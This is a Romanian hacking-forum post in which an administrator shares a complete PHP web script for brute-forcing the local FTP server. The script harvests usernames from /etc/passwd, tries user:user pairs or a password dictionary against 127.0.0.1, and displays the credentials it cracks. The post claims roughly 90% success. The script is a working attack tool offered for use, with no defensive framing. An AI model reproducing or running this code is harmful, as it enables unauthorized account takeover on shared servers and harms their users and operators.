Local FTP Bruteforcer

Pagini: 1

Moderat de PaiN

GaMa
Administrator
Postari: 205

Un mic script care face bruteforce pe local.
Userii ii ia din /etc/passwd si poate face bruteforce user:user si user:dic.
Cu un mic dictionar (500 most used pwds) are o rata de succes de ~90%.

Code:

<html>
  <head>
  <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
  <title>Local FTP BruteForcer</title>
  <style type="text/css">
 body {background-color: #2b2f34;font-family: "Lucida Console", Monaco, monospace;color: #FFF;}
 .head {border: solid 1px #545454;background: #2C2C2C;margin: 10px 0;padding: 10px;text-align: center;font-weight: bold;    }
 .m2 {border: solid 1px #3EC62A;padding: 10px;background: #2C2C2C;width:80%;text-align:left;}
 </style>
  </head>
  <body>
  <div class="head">Local FTP BruteForcer</div>
  <center>
  <p>
  <div class="m2">
    <p>BruteForce type:</p>
    <p><center>
      <div class="m2"><form name="uu" method="post" action="">
      User - User from /etc/passwd<input name="dic" type="hidden" id="dic" value="useruser" size="30"><br><input type="submit" name="button" id="button" value="Start"></form></div>
     <div class="m2"><form name="ud" method="post" action="">Users (/etc/passwd) - Dictionary :<br /><input name="dic" type="text" id="dic" value="./dic.txt" size="30"><input type="submit" name="button" id="button" value="Start"></form></div></center>
    <p><p>
    
<?php
set_time_limit(3600);
 function tftp($user, $pass) {
    $con = ftp_connect('127.0.0.1', '21', '10');
    if (@ftp_login($con, $user, $pass)){
        flush();
        echo '<b><font color="#00FF00">[+] Found!</font> - Username: '.$user.' <font color="#FF0000">Password: '.$pass.'</font></b><br>';
        } 
    ftp_close($con);    
}

function gpwd($user, $up) {
    if ($up == 'useruser') {
        tftp($user, $user);
    } else {
        $lines = explode("\n", file_get_contents($up));
        foreach ($lines as $line) {
            $line = str_replace(array("\r","\n"), '', $line);
            tftp($user, $line);
            }
    }
}

function ufrometc($up){
    $passwd = explode("\n", file_get_contents("/etc/passwd"));
    foreach ($passwd as $user) {
         $user = explode(":x", $user);
        gpwd($user[0], $up);
         }
}
if ($_POST['dic']){
echo 'Bruteforceing...<p>';
ufrometc($_POST['dic']);
}
?>
  </div>
  <p>
  <div class="head"> - Favi | TBO-S.COM -</div>
 </body>
 </html>

Pagini: 1

Mergi la